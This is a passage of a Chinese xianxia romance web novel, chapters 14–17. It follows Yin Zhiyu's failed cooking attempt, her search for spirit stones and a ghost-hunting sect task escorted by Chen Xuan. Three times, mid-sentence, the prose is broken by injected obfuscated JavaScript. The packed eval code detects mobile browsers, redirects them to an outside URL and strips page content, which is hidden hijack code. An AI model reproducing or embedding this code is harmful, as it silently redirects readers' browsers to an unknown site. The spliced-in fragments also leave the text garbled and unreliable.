她弯起的唇角拉直,忽视掉扫兴的系统,出了门,“小师姐。” “走吧。”姜雲兴致勃勃地招手,“去看大师兄上课。” 和有师尊亲自教导的亲传弟子不同,外门弟子通常天赋更差,资质不行,不受重视,自然没有单独学习的条件,一般都是由内门的师兄师姐们轮流去给他们授课。 这次刚好轮到了玄枵峰,傅凛领了这次任务,他在外门的学院内,教那些外门弟子用剑。 学习的剑法是基础剑法,不是每个人都有殷稚鱼的资质,半天就能学会基础剑法,外门弟子要花一个月甚至更长的时间才能掌握天骄们一天甚至几个时辰学会的东西。 姜雲找了个好位置,外门弟子上课的学院外种了一棵桃树,枝繁叶茂,淡粉的桃花蹁跹飞舞,漫漫洒洒,似一场流丽绚烂的花雨。 她施了个障眼法,让里面上课的弟子看不见自己和殷稚鱼,避免打扰到学习进度,然而这个障眼法瞒得过其他弟子,却瞒不过如今玄枵峰上除了清玄道人以外修为最高的傅凛,青年话音微不可查地顿了顿,有些无奈地看向桃树,少女双手撑着坐着的粗壮枝干,弯了弯眸尾。 殷稚鱼咬了口核桃酥,看出些许端倪,“小师姐,你是不是心仪大师兄?” 她问得直白,而姜雲承认得也坦荡,“你看出来了。” 她偏了下头,“大师兄很温柔,而且长得也好看,我喜欢他很正常啊。” 姜雲叹息,“连刚入门的你都看出来了,可惜这么多年,大师兄这个木头却愣是什么都不知道。” 这个逻辑没问题,但是殷稚鱼晃了晃腿,又提出新的疑问,“小师叔长的比大师兄更好看,而且也很温柔,为什么小师姐没有看上他?” 姜雲一噎,片刻后幽幽地说,“那不一样。” 她组织了一下语言,“大师兄是从内至外的温和,至于小师叔,其他人都说他性情温和,但我觉得他像是一块捂不化的冰。” 姜雲笑嘻嘻地说,“我当然不喜欢冰块了。” 殷稚鱼不得不承认姜雲说得有道理。 “至于相貌,”姜雲眨了下眼,缀着细碎桃花的枝条勾着少女的裙裾,被她用指尖拨开,旖艳的桃花仿佛迤逦在裙摆上的精美装饰,生动又灵秀地荡开,“小师叔容貌确实无双,但我还是更喜欢大师兄这一挂的。” 她压低声音,小声说,“你不觉得大师兄这种类型,做道侣会很舒服吗,感觉他好贴心,至于小师叔。” 姜雲诚实地分享了自己的想法,敬而远之,“感觉他占有欲应该很强,做道侣腻了的话,不好甩掉。” 殷稚鱼:“咳咳。” 她险些被口水呛到。 该说不愧是小师姐吗?有点生猛。 不过看到姜雲这么有事业心,还特意跑到外门来追人,成没成功另说,但是却实在上进,就连系统也感慨了一声,“如果宿主你像姜雲那么努力就好了,那样我也不用担心了。” 殷稚鱼:“……” 她鼓了鼓脸,禁止踩一捧一。 深刻反省了一下自己的殷稚鱼摆正了态度,系统表示很开心,但是它不太明白地看着在厨房里忙活的殷稚鱼,“宿主,你在干什么?” 殷稚鱼将新鲜的蔬菜细细地用水冲过,头也不抬地答,“我在找见辰瑄的理由啊,我准备亲手做些点心,去报答一下辰瑄送我安全抵达宗门的恩情。” 系统:“……”都过去十天了现在说要报答怎么看怎么不对吧,怎么都像是黄鼠狼给鸡拜年,不安好心。 不过她至少愿意行动。 系统表示欣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235495|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慰。 但很快,它发现自己放心早了。 厨房是玄枵峰的公共厨房,修道者不需要进食,傅凛和孟轻音修为高深,刻苦上进,鲜少在这些地方浪费时间,至于姜雲,大小姐有灵石,豪富,平常都是花大价钱去酒楼吃,因此玄枵峰的公共厨房一般没人使用,都落了一层薄灰。 殷稚鱼忙活着将厨房打扫得干干净净,肃然地挽起袖子,准备大展身手。 但她忘记了一件事。 上一世是豪门大小姐,即便父母对她漠不关心,但不会在物质这方面亏待她,而这一辈子,她摇到了投胎上上签,卫国公主,爹娘鹣鲽情深,少女公主自出生开始就是金尊玉贵千娇百宠,从来没有下过厨。 因此她对做饭这件事一窍不通。 轰—— 厨房响起一声剧烈的爆炸声,冒出滚滚黑烟,在听殷稚鱼说要下厨后便来了兴趣想要旁观的姜雲被呛得不断咳嗽,而意外中心的殷稚鱼更是直面现场,一张脸被熏的乌黑,她呆滞地转头,严肃思考自己明明是认真按照步骤来的,到底是哪里出了差错。 “出什么事了?”门外响起傅凛的声音,大师兄眼尖地看见厨房上方冒出的黑烟,心一紧,担心那个师弟师妹出事,匆匆赶回来看看发生了什么。 姜雲掐诀,驱散了厨房里的黑烟,这才感觉呼吸顺畅了起来,“小师妹在下厨呢。” 傅凛失语。 下个厨,怎么被殷稚鱼生生造出了毁灭厨房的架势。 殷稚鱼抹了一把脸,看着一手的漆黑闭了闭眼,不忍直视这惨淡的现实。 更惨烈的是,她看见傅凛身后还跟着一个人,如同春雪芝兰般皎皎干净的少年诧异掀了下眼皮,视线流露出些许不可置信,默然落在她身上。 殷稚鱼:“……” 让正主撞见了。 她语塞了下,偏偏傅凛还在等她的回答,少女斟酌了一下,在说谎和实话实说之间犹豫,最后还是眼一闭,如实托出,“之前小师叔帮助我良多,我本来想亲自下厨,给小师叔准备一份谢礼,但没有想到,失败了。” 辰瑄没有想到这里竟然还有自己的剧情,怔了怔,浅琥珀色的眸子晃了晃,默不作声地看了看殷稚鱼,又收回来。 他的音色悦耳澈丽,“殷师侄的心意我心领了。” 少年沉吟了一会,旋即扫了眼厨房,觉得还是不能强求,“但是谢礼还是算了,举手之劳,不必言谢。” 姜雲笑嘻嘻地拉着傅凛出门,给自己创造和大师兄的相处机会还不忘助攻殷稚鱼一把,她揶揄道,“稚鱼,厨房这里就留给你和小师叔了,记得打扫干净。” 很快,厨房就剩下殷稚鱼和辰瑄两个人。 辰瑄忍了忍,提醒道,“殷师侄,要不要擦擦脸?” 殷稚鱼:“……”差点忘了。 她心塞地用了清洁咒,垂头丧气,“小师叔,抱歉。” 女孩蔫蔫的,仿佛连发尾都透着有气无力,“原本想要给你准备谢礼,结果反而造成了麻烦。” 她像是吃不到胡萝卜的兔子,有些可怜巴巴的,莹润而幼圆的眸子什么情绪都藏不住,偷偷抬起瞧了他一眼,又默默垂下,密长的睫毛轻微地抖动。清洁咒使用后又是一张干干净净的脸,脸盘小而精致,辰瑄却忽然想起她刚才乌漆麻黑的模样,失败的时候估计很懵,满眼都写着茫然的话,画面应该很可爱。 15. 任务 辰瑄抬手,流云雪絮般的衣袖波浪般翻滚,掩去唇角泄露的一点笑意,“无事。” “只是,”他扫视了一眼四周,轻咳一声,若无其事地问,“这里是不是需要收拾一下?” 殷稚鱼:“……”哦对,还有灾后现场需要收拾。 少女挽起袖子,任劳任怨地开始善后,辰瑄原本想要帮忙,但是被殷稚鱼拒绝了,她只是毁了一个锅,外加一批刚买回来的新鲜食材而已,损失不算大。 但想到这个锅见证了她的黑历史,殷稚鱼干脆将锅毁尸灭迹,连灰都给扬了。 辰瑄来玄枵峰,是因为有些事情需要与傅凛沟通,凌霄道尊常年闭关,不见外人,他膝下的几个弟子基本都是长老级别的人物了,因此偌大的降娄峰上只有他一个人居住,他又不喜外人,拒绝了掌门派来打理降娄峰的杂役。 眼看着厨房重新变得干干净净,辰瑄提出告辞,继续和傅凛沟通还没有得出结果的话题。 怕打扰到两人交流,姜雲剩了出来,溜溜达达地又走到厨房,唉声叹气,颇有几分恨铁不成钢的架势,“小师妹,你怎么不多留辰瑄师叔一会呢?” 她的语调里都是可惜,“我和大师兄都没说上几句话,要不然下次辰瑄师叔来,你们俩多聊聊,我努力给你创造机会。” 殷稚鱼一噎,分明是姜雲想要和傅凛单独多待一会,在她口里却狡猾地变成了给她和辰瑄创造机会。 她猜测姜雲很可能看出了什么,不想就这个话题多聊,自然地转移话题,“小师姐,你知道有什么来钱快且方便快捷的方法吗?” 殷稚鱼抖了抖自己的芥子袋,之前卫王给她准备的东西,有许多用不上的,都被她拿去换灵石了,但是凡尘打造的物品再精美稀奇,终究只是凡物,而非法器,因此不太值钱,即便置换,换来的灵石也有限。 殷稚鱼认真算了一笔账,发现自己如果再坐吃山空的话,就要沦落到去打秋风的地步了。 她眨了眨眼,真挚地看着姜雲,企图让小师姐看到她的真诚,女孩咳了咳,“最好周期短一点。” 姜雲虽然有些词语不太理解,但还是听懂了殷稚鱼的话,她似笑非笑地横过去一眼,眉是春山云黛,眸是淋漓溪涧,含着浮冰融化的艳与冷,是冠绝瑰丽的明艳,“当然有啊。” 殷稚鱼一振,巴巴地看着姜雲,少女矜持地压了压唇角,“什么办法?” 姜雲慢悠悠地开口,“你现在去丹修手里买一颗易颜丹,然后走到城里最大的商行门口,直接冲进去抢就行。” “……” “来钱快,时间段,且方便快捷,”姜雲的话里流露出些许恶质的趣味,笑眯眯地补充了一句,“对了,我不太建议你挑选大型商行,因为那里一般都有凝丹期或者以上的修道者坐镇,你可能刚冲进去,就被镇压了。” 殷稚鱼:“……” 好不靠谱的建议。 她只是想赚点灵石,不太想做法外狂徒。 “或者,”姜雲手握成拳,压在唇边,轻咳了咳,非常没有师姐风范的逗弄小师妹,“你现在回自己屋里,躺床上睡一觉,说不定还能做个收获百万灵石的美梦呢。” 殷稚鱼:“……” 殷稚鱼拒绝交谈。 姜雲正经起来,“如果小师妹急着用灵石的话,我这里确实有个靠谱的法子。” “什么?”殷稚鱼已经不太抱希望了,她严肃地思考,自己去清玄道人那里打点秋风的成功率到底有多高。 不过鉴于便宜师尊神出鬼没的,平时鲜少在峰内见到人,所以她并不确定。 “乾虚派庇护着无数城池,每年它们都会给乾虚派上交一定的供奉,作为交换,乾虚派也会保证它们的安危。” 姜雲扬了扬下巴,“大部分城池都经常发生意外事件,例如妖物作祟,而这时候它们会选择向乾虚派求助,宗门里设有发布任务的地方,每完成一个任务,都会奖励一定的灵石,这也是宗门弟子赚取灵石的主要途径。” 殷稚鱼眼睛一亮,圆圆的眸子眼尾弯弯下垂,透出三分柔软的笑意来,让人不忍拒绝她的央求,“领取任务的地方在哪里,小师姐能不能带我过去?” 姜雲唤出本命剑,刚想要带着殷稚鱼过去看看,却被傅凛打断。 他和辰瑄似乎已经达成共识,一前一后地自大殿走出,望见姜雲的动作时有些诧异,“三师妹和小师妹这是打算去哪里?” 殷稚鱼主动解释,“我想要去领取宗门任务,所以让师姐带我过去看看。” “宗门任务,”傅凛下意识地皱眉,含蓄地提出自己的反对意见,“我记得小师妹刚刚入门,恐怕没什么完成任务的经验,要不然等等再去。” 殷稚鱼不好意思说自己缺钱,只能侧面表示出自己的坚定意志,“我只是觉得,对付妖物什么的,能够更好的磨砺自己。” 姜雲也跟着帮腔,“稚鱼了解自己的实力,不会莽撞地选择自己完成不了的任务的。” 辰瑄听到这里,微微抬眸。 少女就站在一片春草之上,胭脂色的裙裾沙沙拂过盎然蓬勃生长的草叶,绯红与嫩绿交织,泼染出一片迤逦斑斓的景色,日光如碎金,春阳滟滟,浓密的黑发融着金砂般浅淡的色泽,亦成春日里最浓墨重彩的一笔。 她眉眼间全是神采飞扬,看不见之前蜘蛛精留下的阴影。 骄傲又明亮。 傅凛还是在想办法打消殷稚鱼的主意,婆诃般若牵涉太多,清玄道人不太好向他透露,但考虑到傅凛主管一峰,还是旁击侧敲,委婉向他暗示,殷稚鱼年纪小修为低,所以平时要看着她一点,避免小师妹出事。 他视线落在一旁安静不语的辰瑄身上,倏然想到什么,“我记得,辰瑄师叔前几日是不是刚领了一个护送的任务?” 突然被提及,辰瑄愣了愣,然后颔首承认,“对。” 修道者需要多加历练才能成才,然而放手任由他们出宗的话,又容易遇上打不过的妖物,每一个弟子都是乾虚派精心培养出来的,是宗门未来的顶梁柱,宗门可以接受弟子的折损,但是损失却不能太高,因此通常会给修为高的弟子派遣一些护送的任务,除非弟子们遇到生命危险,否则这些领取了护送任务的师兄师姐一般不会出手。 辰瑄年纪轻,但修为高,实力强大,又性情温和,因此经常会领取到今年的任务。 傅凛也做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253240|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,对其中的流程相当熟悉,“那个任务似乎还没开始,如果小师妹愿意的话,可以领取,有辰瑄师叔看着,总比一个人出去单打独斗更加安全。” 殷稚鱼:还有这种好事。 她正发愁要怎么接近辰瑄呢,毕竟两个人都不在一个峰上,如果不刻意制造见面机会的话,根本连人都见不到,她总不能和辰瑄网恋吧。 少女眉眼弯弯,“小师叔介意我加入吗?” 辰瑄音色平静,“殷师侄实力很强,我当然不会有意见。” 他指尖微蜷,“如果你想要领取那个任务的话,可以现在去申请。” 辰瑄一向抢手,他在乾虚派很出名,少年天骄,已经修出了自己的剑意,是毫无疑问的乾虚派年轻一辈第一。 也因此,有他护送的任务,安全程度爆表,也是这个消息还没有透露出去,不然早就没了空余位置。 姜雲果断道,“既然如此,就由辰瑄师叔带稚鱼过去吧。” 她不动声色地朝殷稚鱼挤眉弄眼,暗示自己说到做到,既然说了会给殷稚鱼和辰瑄创造机会,那么就插针见缝地践行,“稚鱼就交给辰瑄师叔了。” 殷稚鱼为姜雲的行动力震惊了一秒。 系统也忍不住开口,“宿主,你要有姜雲的效率,任务也不会卡在这里了。” 殷稚鱼:“……” 她偷偷去看辰瑄,男主没有拒绝,也就是有戏的意思了。 少女立刻顺杆子往上爬,“麻烦小师叔了。” 傅凛被姜雲找借口拐走了,小师姐借着修为有所突破,想向傅凛讨教的理由,缠得傅凛连最开始想要自己带殷稚鱼过去的想法都忘了。 只是考虑到辰瑄素来靠谱,因此傅凛心中没多少担忧。 殷稚鱼唤出秋水,经过孟轻音的修复与重新锻造之后,秋水的灵性更强了,与殷稚鱼的融合也更为深厚,而辰瑄看到恢复如初的水蓝长剑时,随口问了一句,“殷师侄的秋水剑,是已经修复好了吗?” “对,”殷稚鱼踩在秋水剑上,控制着秋水剑往上飞,“是二师姐帮我修复的。” 千秋行驶得并不快,辰瑄显然刻意放慢了速度,与殷稚鱼并行。 两人之间的交流并不多,主要是殷稚鱼见好就收,怕话太多把攻略目标吓到了,而她现在,还能再装一装。 领取任务的地方设在了外峰,黑底烫金的牌匾,字迹沉隽,唤作执务堂。 里面有轮值弟子把守,见到辰瑄带着一个陌生少女进来颇有些意外,“这位师妹是?” 殷稚鱼主动出示了自己的身份令牌,前面是玄枵两个字,后面则是她自己的名字,“我来领取宗门任务。” 轮值弟子顿时了然,乾虚派最近都传遍了清玄道人收了一个新弟子的消息,只是对方一直待在玄枵峰里,鲜少露面,所以大家对她并不了解。 而这位,应该就是清玄道人的新弟子了吧。 验证过令牌的真实性之后,殷稚鱼收起令牌,听轮值弟子问,“师妹打算领取什么任务?” 殷稚鱼刚要开口,辰瑄已经快她一步,静默地问,“我之前那个护送任务,”顿了下,又问,“人数应该还没满吧?” 16. 赞美 “还有。” 轮值弟子从里面找出任务牌,多嘴问了一句,“师妹是要接这个任务吗?” 殷稚鱼痛快点头,“对。” 轮值弟子将她的名字登记在上面,顺便递给她一枚玉简,“里面是这个任务的相关资料,师妹可以回去之后看看,在出发当天及时赶到就行。” 距离任务的开始时间还有两三天,殷稚鱼当然不会拒绝对方的好意,她接过玉简,乖巧道了声谢。 所有事情都解决了,辰瑄也没有继续留下来的必要了,提出了告辞。 殷稚鱼没有阻止他,目送男主离开。 等回到自己居住的院子里,她才打开玉简,查看任务的基本情况。 既然傅凛能够想起这个任务,并且很放心殷稚鱼去接取,说明这个任务是适合她的,这个任务和曲城有关,有户姓任的大户人家闹鬼,不少丫鬟婢女都声称见到了鬼魂,任家虽然有人入了修行之路,但资质鄙陋修为低微,连拜宗都难,因此被鬼吓得够呛,只能选择向乾虚派求助。 因为这鬼并未伤人,只是恶作剧一般吓到了不少仆役,所以执务堂的弟子断定这次任务的难度并不高,将它挂到了执务堂里。 而刚好,今年轮到了辰瑄挑选护送任务,他随便一翻,敲定了这个任务。 殷稚鱼微微沉吟,虽然小说里的男女主经常遇到各种意外,但她只是个炮灰女配,应该没那么倒霉。 放心的殷稚鱼完全忘了星城的蜘蛛精事件,安安心心地去做事前准备。 两三日眨眼就过去了,殷稚鱼掐着集合的时间点抵达,领取任务的弟子陆陆续续到齐,殷稚鱼看了一眼,基本都是引气辟府修为的弟子,加上她,总共三个人。 两女一男,加上还没出现的辰瑄,达成了微妙的和谐。 另一个女弟子言语很是活泼,不怕生地凑过来,和殷稚鱼搭话,“这位师妹,你是哪个峰的弟子,我怎么都没有见过你?” “玄枵峰的,”殷稚鱼熟练地报上名号,“我刚入门,见过师姐。” 对于外门弟子而言,成为长老的亲传弟子就是他们追求的目标,因此夏芃将乾虚派内内外外十几个长老都摸得清清楚楚,玄枵峰是清玄道人居住的地方,综合一分析,她自然猜到了殷稚鱼的身份,轻轻啊了一声,有些难以辨别殷稚鱼的修为。 殷稚鱼体质特殊,虽然她没有灵根,无法修行,本来一辈子都只能当个普通人,但婆诃般若与她融为一体,赋予她重重危机的同时,也带来了意想不到的机遇。 她周身毫无威压,看起来只是个长得漂亮的普通少女,然而浓郁的灵气在她体内汇聚,游走于她的经脉之中,又增加了一分难以捉摸的危险感。 “我叫夏芃,”夏芃介绍自己,“那边的师兄叫做舟逾,我们都是外门弟子,师妹刚刚入门,如果有什么不懂的,可以问我。” 殷稚鱼笑吟吟地应下来,愉快地与夏芃交换姓名,“多谢夏芃师姐。” 舟逾有些腼腆,只是有些内敛地抬眸看了眼殷稚鱼,说话的音量并不大,小声地介绍了一句自己后就没了。 出发的时间到了,辰瑄姗姗来迟。 白裳墨发的修长少年,目光微微一低就扫视过在场的三个人,言简意赅,“走吧。” 殷稚鱼听见夏芃发出一声有些意外的低呼,同时提出疑问,“这次是小师叔带队吗?” “是。”少年浅淡的眸子微微垂下,落在亲密依靠的两个人身上,她们挨得极近,几乎没什么缝隙,殷稚鱼似乎察觉到了他的目光,仰起脸,露出一个灿烂的笑。 辰瑄说清楚,“除非你们遇到生命危险,否则我绝不会插手。” 殷稚鱼缓慢地眨了下眼。 虽然辰瑄话说得明白,但有这么一尊大佛在旁边摆着,光看着就让人安全感爆棚,夏芃自信心爆发,甚至觉得自己现在遇到凝丹期的鬼物也能上去打一打了。 她嗯嗯啊啊地应下,“我知道了。” 一行人出发。 曲城距离乾虚派并不远,然而夏芃和舟逾的修为都不高,甚至比殷稚鱼都还要低一点,殷稚鱼经由问心塔的磨练,可以掌握的灵气已经达到辟府期了,而夏芃和舟逾,都才刚刚引气后期。 不过亲传弟子和外门弟子的天赋差距向来很大,夏芃想得开,并不会为此感到沮丧。 两人的灵气都有限,耗尽之前就需要及时停下来修整,避免灵气耗尽之后遇到意外,到时候就只能被迫逃跑。 落日熔金,暮云合璧。 半边天空都被散落的黄昏染成浓郁的琥珀色,煌煌烨烨,千万璨金辉光浮沉,泼作一片起伏荡漾的潮海。 殷稚鱼犹豫了一会,还是选择用溪水过了一遍果子,不知道什么果子,红彤彤的,咬上去的时候又脆又甜,味道很好。 夏芃看她喜欢,又从树枝上摘下一捧,同时压低声音,悄声道,“稚鱼师妹,你和辰瑄师叔熟吗?能不能帮我送点果子过去?” 她咳了声,颇有些不好意思,“就当是赔罪。” 殷稚鱼扭头去看辰瑄。 少年站在不远处,没看他们,辰瑄的修为远比他们高,御剑的话也比他们快,只是他这次领取的是护送的任务,真如出发前所言,殷稚鱼她们没有遇到危险,辰瑄就没有出手,也没有发表多余的意见,任由他们做决定。 只是他们修为太低,一路上耽误了不少时间,夏芃有些过意不去,想要送点什么弥补一下。 殷稚鱼将剩下的果子吃完,洗干净手才去接过果子,“夏芃师姐怎么不自己去?” 夏芃老实回答,“我不敢去。” 虽然她胆子大,但是辰瑄在她心里,是和清玄道人一样的存在,像是再顽皮的学生,在路上遇到师长都会下意识地端正站姿,夏芃也有些怵他。 夏芃叹气,“如果稚鱼你不答应的话,只能让舟逾过去了。” 殷稚鱼下意识地看向舟逾,对方站在树下,接收到殷稚鱼的眼神信号时,露出了视死如归的表情。 “……”有点过了。 殷稚鱼接过任务,“我去就行了。” 果子有点多,她干脆一双手一起捧着,满满当当的,用灵气护着,也不会掉下去。 女孩小跑过去,暮色四合,溢散的芒光瑰丽如宝石,将她包裹又松开,她白皙耳垂上的玛瑙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256743|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳珠反射出细碎斑斓的光泽,明丽似一场桃花雪。 辰瑄听到动静,偏了偏头,“殷师侄?” 他眼眸透出些许询问来,静默地望着殷稚鱼,少女干脆将手举起来,露出饱满鲜红的果实,胖胖圆润的几颗果子挤在深褐色的枝桠上,还有没摘干净的叶子,夏芃挑选时用了心,选的都是模样好又大颗的果子,看着就甜。 “这是我们送给小师叔的,”殷稚鱼示意辰瑄回头去看夏芃和舟逾,“小师叔可千万别拒绝。” 她仰起脸,密密软软的睫毛轻微翁动了下,露出一点饱满的,小巧的唇珠,并不明显,但是在抿唇或者微笑的时候又会清晰显现出来。 辰瑄顿了下,到底没有解决。 千秋剑一挑,那些果子被灵气裹挟,完好地落在他的手里,“多谢。” 任务完成,殷稚鱼也没有急着走,她站在辰瑄不远处,好奇问道,“小师叔跟着我们行动,会不会觉得我们太麻烦。” “为什么会这样觉得?”辰瑄侧脸,浅琥珀色的眸子里流露出一点真切的疑惑,声嗓温软清澈,娓娓道来,“师侄们修为低于我,那么自然是我该护着的人,而且每个修道者,都是从引气期一步一步修炼上来的,看到你们,会觉得看到过去的自己,怎么可能会觉得麻烦?” 好温柔的回答。 殷稚鱼对比了一下原著,她这些天将原著里里外外翻了个遍,生怕漏过一点剧情和伏笔,但故事的女主并不是她,而是空桑伊,因此视角也是从百年后的空桑伊遇见辰瑄开始的。 但是百年后的辰瑄,是座彻彻底底的冰山,和面前言语温和的人完全是两模两样。 她心里泛起些许波澜,繁杂的想法略过她的脑海。 殷稚鱼:“小师叔,你是个好人。” 她满目诚恳,竭力让辰瑄看到自己赞美得完全发自内心。 辰瑄茫然地唔了一声,有些纳闷,完全不明白自己说了什么,忽然就莫名其妙被殷稚鱼发了一张好人卡。 他有些迟疑地,清淡温和地应下这个赞美。 “多谢殷师侄的夸赞。” 入夜之前,一行人总算赶到了任家。 闹鬼事件已经传遍了整个任家,虽然目前还没有人死亡,但是下人为此惶惶不安,连主子也心惊胆战的,任家老爷身心俱疲,只能将希望全部寄托在乾虚派弟子身上,翘首以盼。 殷稚鱼她们报过名字后,很顺利地就被任家的下人迎进去,在前厅见到任家老爷和夫人。 “欢迎各位仙师的到来,” 任家老爷灵根驳杂,虽然能够修行,但是连门都没进,几十年过去,修为还停留在可怜巴巴的引气初期,他外表看起来就是个普通的中年男人,脸上因为家里近来的变故而透出淡淡的青黑,热情地对着殷稚鱼和夏芃开口,“任家的问题,就交给仙师处理了。” 夏芃之前虽然领取过宗门任务,但大部分都是去郊外斩杀犯事的妖物,鲜少和普通人打交道,她被任老爷的态度弄得头皮发麻,在辰瑄不插手,殷稚鱼退后一步,舟逾装没看见的情况下,认命地挑起大梁,“到底发生了什么,任老爷可否说清楚前因后果?” 17. 夜话 任老爷:“之前……” 任家的异常是由一个值班的婆子开始的,任家在曲城也算得上一方豪富,家里仆役众多,任老爷和任夫人都是宽和仁善的性子,因此很多下人都觉得在任家干活比其他地方要好,也乐于待在这里。 虽然通常来说,干活积极性与主人的宽容程度呈反比,但也有些人,热爱劳动,轮值守夜的时候早早地就去了,充分以自己的勤快反衬出其他人的拖拖拉拉。 结果她们在经过任家后院的水池的时候,忽然有人看见了水池旁站着一道纤细的身影,光线太暗,手上的灯笼也朦胧飘渺,婆子是个心善的人,误以为是哪个院子的小丫鬟遭到了呵斥,一时间想不开,就想要上前安慰。 听到这里的殷稚鱼已经想到了后续会如何发展,同时深刻地认识到有时候尊重他人命运,可能就是救赎自己。 任老爷擦了一把汗,继续往下讲,“那婆子本来是好心,结果那个女子转过身来,她们却发现对方的脚并没有踩在地面上,而是漂浮在空中,且光线穿过了她的身体,当即就吓得尖叫。” 当时,整个任家都被这一道尖叫惊醒,灯火通明,任夫人的资质比任老爷还要差,他起码在修道上入了个门,她却牢牢卡在了入门之前。 好在任夫人并不在意这个,她的娘家家大业大,她是被家中娇养长大的,长大后顺顺当当地嫁了知根知底的任老爷,感情虽然说不上鹣鲽情深,但两人三观一致,日子也说得上幸福美满。 她虽然知道九州五岛存在着翻云覆雨的大能,但也仅限于浅薄的知晓,未能亲眼见到大能的存在,认知也更偏向于普通人。 因此婆子的话语被她当成了眼花看错后的胡言乱语,主要是等众人赶到时,所谓水池边缘的鬼魂早已消失不见。 任夫人只当对方太过勤快累坏了,思考之后,给她们放了假,让两人好好休息。 然而,这只是个开始。 之后,陆陆续续有下人声称自己看到了一道陌生的女子身影,对方身段娉婷,长发盖住脸,肤色青白,倏然出现时颇为惊悚。 整个任家都被折腾得不轻,可若是说这鬼有恶意又不像,因为除了惊吓之外,任家并未有人受伤,她似乎只是出来恶作剧,被人看到后就消失得无影无踪。 夏芃整理了一下证词,微微沉吟了下,她原本想要传唤婆子来问话,但看一下时间又打消了主意,他们今天赶了一下午的路,疲惫不堪,这鬼既然没有害人的想法的话,那么并不急。 夏芃正色道,“任老爷放心,这件事就交给我们了。” 任老爷松了口气,询问,“仙师是打算现在行动吗?” 腰佩长剑的女子笑了下,她穿着乾虚派的宗门服,藏青色的款式,衣摆上绣着云纹,模样有些凛然的清冷仙气,她缓声道,“我们会派人彻夜守着任家,若是那捣乱的鬼魂就能捉住她。” 顿了顿,她又说,“如果今晚捉不住的话,那我们明天会在整个任家搜寻,定然不会让她再作怪。” 听完这番话后,任老爷顿时放下心,也注意到现在时候不早了,有些不好意思地挠了挠头,讪讪道,“辛苦几位仙师了,休息的院子已经为几位准备好了,今晚不着急,几位仙师先去休息吧。” 他话音落下后,一旁的任夫人立刻开口,让丫鬟领着四人去收拾好的院子。 夏芃并未拒绝任夫人的好意,道谢之后,跟着丫鬟离开。 路上,殷稚鱼趁着这个机会跟丫鬟打听更多线索,“整个任家有很多人都看到了那道鬼魂吗?” 丫鬟或多或少都听过任家其他人对于乾虚派仙师的讨论,在她的想象中,能够被称为仙师的定然都是大宗的出挑弟子,清冷出尘,不可冒犯,然而站在她面前的少女步伐轻快,形容明丽,颗颗大小相同,光洁莹润的珍珠点缀在浓密的发间,微微摇晃,比起出尘仙子,她看起来更像是世家养出来的大小姐,爱笑又没有架子,一副很好接近的模样。 丫鬟心里的压力在不知不觉中削弱了不少,她想了一会,犹疑地给出答案,“确实有很多。” “许多人都看到了那鬼的身影,甚至为此揣测老爷和夫人,”丫鬟小声说,“说不定那鬼是老爷和夫人冤死的,怨气不散才久久不愿离开,但我觉得不是,老爷和夫人都是好人。” 殷稚鱼在心里排除了任老爷和任夫人。 她先前看过无数本话本,所以在任老爷交代基本情况的时候就生出无数个猜测,本以为那鬼可能是找任老爷和任夫人寻仇,但听到后面又觉得不对。 如果是含恨而死的冤魂的话,怨气极重,以任老爷和任夫人无限接近普通人的体质,根本扛不住,估计一个照面就能被送走。 而且任老爷和任夫人看上去身上也没什么强力的护身法宝,不然任老爷的黑眼圈也不会那么重,一看就是好几晚没睡好,估计被吓得不清。 “当然不可能,”殷稚鱼斩钉截铁地回答,引来夏芃他们的侧目,女孩子笑眯眯地安慰丫鬟,“我也觉得你猜的对,那鬼绝对与任老爷与任夫人无关,说不定只是路过呢。” 丫鬟眼睛一亮,显然,殷稚鱼的认同给她带来了不小的信心。 任夫人准备的院子很快就到了,丫鬟本是任夫人拨过去照顾他们的,原本想留在院子里看他们需要什么,但是夏芃和舟逾他们都习惯了自己的事自己做,委婉地拒绝了任夫人的安排。 院子不大,但东西都一应俱全,已经提前打扫过了,干干净净的,总共有三间房,殷稚鱼和夏芃一间,辰瑄不适应和旁人一起住,所以单独一间,剩下舟逾也一个人一间。 夏芃打了个哈欠,殷稚鱼看得出她很困了,连带着舟逾也是,他们修为最低,赶路也十分疲倦,夏芃撑着精神和任老爷说完话就不行了。 女孩主动请缨,“任家晚上就交给我守着吧。” 夏芃有些窘迫,按理来说,她和舟逾是师兄师姐,比殷稚鱼先入门,应该要照顾一下刚入门的小师妹,现在却反过来要被小师妹照顾。 